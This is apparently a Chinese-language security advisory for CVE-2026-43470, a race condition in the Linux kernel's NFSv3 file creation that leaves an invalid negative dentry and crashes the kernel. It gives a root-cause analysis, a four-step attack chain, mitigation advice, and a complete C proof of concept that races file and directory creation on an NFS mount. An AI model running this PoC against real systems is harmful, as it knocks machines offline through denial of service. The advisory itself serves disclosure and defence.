IPBUF安全漏洞报告
English
CVE-2026-43470 CVSS 5.5 中危

CVE-2026-43470 Linux内核NFS逻辑漏洞致崩溃

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43470
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNFSDoSRace ConditionLogic Error本地漏洞

漏洞概述

Linux内核NFS子系统存在一处逻辑漏洞,可能导致系统崩溃。在NFSv3文件创建过程中,若通过别名机制发现目标实际上是一个目录,系统未正确返回错误,导致保留了无效的负dentry。当后续尝试打开该文件时,系统会触发内核Oops。该问题主要发生在并发创建和删除同名文件与目录的竞态条件下。

技术细节

漏洞根源在于Linux内核的NFSv3实现中,nfs3_proc_create函数在处理dentry时存在缺陷。当调用nfs3_do_create或nfs_add_or_obtain接口,并通过d_splice_alias发现一个目录别名时,代码未执行d_is_dir()检查便忽略了该情况,导致传入的原始dentry保持为负状态。随后,当nfs_atomic_open_v23调用finish_open时,试图对这个负dentry执行do_dentry_open操作,从而触发空指针解引用或非法内存访问,引发内核崩溃。攻击者可利用本地低权限账户,在挂载的NFS共享中,编写恶意脚本并发执行创建和删除同名文件与目录的操作。由于未使用O_EXCL标志,这种高频并发操作极易触发路径查找中的竞态条件,导致内核逻辑判断失误,进而引发系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要拥有本地低权限用户访问权限,并能访问挂载的NFS文件系统。
STEP 2
步骤2:触发竞态条件
攻击者执行恶意程序,并发地对NFS共享中的同一路径进行文件创建/删除和目录创建/删除操作。
STEP 3
步骤3:利用内核逻辑缺陷
利用NFSv3创建过程中未检查目录别名的缺陷,导致内核保留一个负dentry。
STEP 4
步骤4:导致系统崩溃
当后续操作尝试打开该无效dentry时,触发内核Oops,导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43470 * Trigger the race condition in NFSv3 create by concurrently * creating and removing files and directories with the same name. * Compile: gcc -o poc_nfs_race poc_nfs_race.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #define TARGET_PATH "/mnt/nfs_share/test_entry" void* thread_file_ops(void* arg) { while (1) { // Create file without O_EXCL to trigger alias logic int fd = open(TARGET_PATH, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd >= 0) { write(fd, "data", 4); close(fd); unlink(TARGET_PATH); } } return NULL; } void* thread_dir_ops(void* arg) { while (1) { // Concurrently create/remove directory with same name mkdir(TARGET_PATH, 0755); rmdir(TARGET_PATH); } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-43470...\n"); pthread_create(&t1, NULL, thread_file_ops, NULL); pthread_create(&t2, NULL, thread_dir_ops, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

影响范围

Linux Kernel (具体受影响版本请参考Git补丁记录)

防御指南

临时缓解措施
由于该漏洞属于内核逻辑错误,用户空间难以完全规避。建议限制对NFS共享的并发写入权限,或监控异常的内核崩溃日志。最根本的缓解措施是尽快安装官方发布的内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表